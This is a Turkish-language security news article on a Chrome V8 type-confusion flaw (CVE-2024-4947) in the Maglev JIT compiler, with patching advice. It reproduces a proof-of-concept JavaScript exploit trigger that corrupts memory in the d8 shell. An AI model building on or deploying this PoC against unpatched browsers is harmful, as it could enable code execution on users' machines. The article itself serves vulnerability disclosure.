Google Chrome’daki kritik bir sıfır gün güvenlik açığına (CVE-2024-4947) yönelik bir kavram kanıtlama (PoC) istismarı kamuya açıklandı.
V8 JavaScript motorunu etkileyen bu güvenlik açığından yararlanma potansiyeli, siber güvenlik topluluğu üyeleri arasında ciddi bir endişe yarattı.
CVE-2024-4947 güvenlik açığı, V8 motoru içindeki modül ad alanı nesnelerine atanan hatalı AccessInfo değerlerinden kaynaklanmaktadır.
ANYRUN malware sandbox’s 8th Birthday Special Offer: Grab 6 Months of Free Service
Bu güvenlik açığı, V8’in kullandığı Tam Zamanında (JIT) derleyicisi Maglev’de tür karışıklığına neden olabilir.
GitHub tarafından bildirildiği üzere, bir uygulama bir değişkeni veya nesneyi tek bir tür olarak bildirdiğinde ancak daha sonra türünü değiştirdiğinde tür karışıklığı güvenlik açıkları ortaya çıkıyor. Bu potansiyel olarak güvenlik ihlallerine ve hatalı davranışlara neden olabilir.
Teknik Arıza
Sorun, V8 motoru modül ad alanı nesneleri için AccessInfo’yu hatalı bir şekilde işlediğinde ortaya çıkar ve bu nesnelerin türlerinin Maglev JIT derleyicisi tarafından yanlış yorumlanmasına yol açar.
Saldırgan, tarayıcının bağlamında rastgele kod yürütmek için bu yanlış anlaşılmadan yararlanabilir ve potansiyel olarak sistemin tamamen ele geçirilmesine neden olabilir.
// run with: `/d8 --allow-natives-syntax --maglev --expose-gc --soft-abort --trace-deopt 22.mjs`
import * as ns from "./22.mjs";
export let c = 0;
function to_fast(o) {
var dummy = {'unique':5};
dummy.__proto__ = o;
dummy.__proto__ = o; //OptimizeAsFastPrototype
}
to_fast(ns);
function store(target, v) {
target.c = v;
}
function createObject() {
let a = {};
a.i1 = 1;
a.i2 = 1;
a.i3 = 1;
a.i4 = 1;
// -----------------
for (let i = 0; i < 8; i++) {
a[`p${i}`] = 1;
}
return a;
}
function init() {
let a = createObject();
a.__proto__ = ns;
// %DebugPrint(a);
return a;
}
(function() {
%PrepareFunctionForOptimization(store);
store(init(), 0);
%OptimizeMaglevOnNextCall(store);
store(init(), 0);
})();
function confuse_properties_map(arg) {
store(arg, 0x1);
}
let a = init();
let arr = [];
arr.push(1.1);
let arr2 = [{}];
confuse_properties_map(a);
gc();
// %DebugPrint(a);
// %DebugPrint(arr);
a.p5 = 1024;
a.p7 = 1024;
%DebugPrint(arr);
// %SystemBreak();
PoC istismarı, kötü niyetli bir aktörün keyfi kod yürütmek için bu duyarlılıktan nasıl yararlanabileceğini gösteriyor.
Metodoloji, kullanıcı etkileşimi üzerine V8 motorundaki tür karışıklığı güvenlik açığını etkinleştiren, böylece saldırgana hedefin sisteminde yasa dışı kod yürütme izni veren kötü niyetli bir web sayfası geliştirmeyi gerektirir.
Öneriler ve Çıkarımlar
Google Chrome'un yaygın kullanımı göz önüne alındığında, bu duyarlılık dünya genelindeki kullanıcılar için önemli bir tehlike oluşturmaktadır.
Kullanıcılar, bir güvenlik yükseltmesi mevcut olduğunda tarayıcılarını derhal en son sürüme güncellemelidir.
Kuruluşlar ayrıca, istismar riskini azaltmak için izinsiz giriş tespit sistemleri ve web uygulaması güvenlik duvarları gibi ek güvenlik önlemlerini uygulamayı da düşünmelidir.
CVE-2024-4947'ye yönelik kavram kanıtlayıcı bir istismar kamuya duyuruldu ve çağdaş web tarayıcılarının güvenliğinin sağlanmasında devam eden zorlukların altı çizildi.
Kötü niyetli aktörler yaygın olarak kullanılan yazılımlardaki zayıflıkları keşfetmeye ve bunlardan yararlanmaya devam ettiğinden, güvenlik tehditleri karşısında sürekli tetikte ve proaktif bir durumun sürdürülmesi hem geliştiriciler hem de kullanıcılar için kritik öneme sahiptir.
Free Webinar on Live API Attack Simulation: Book Your Seat | Start protecting your APIs from hackers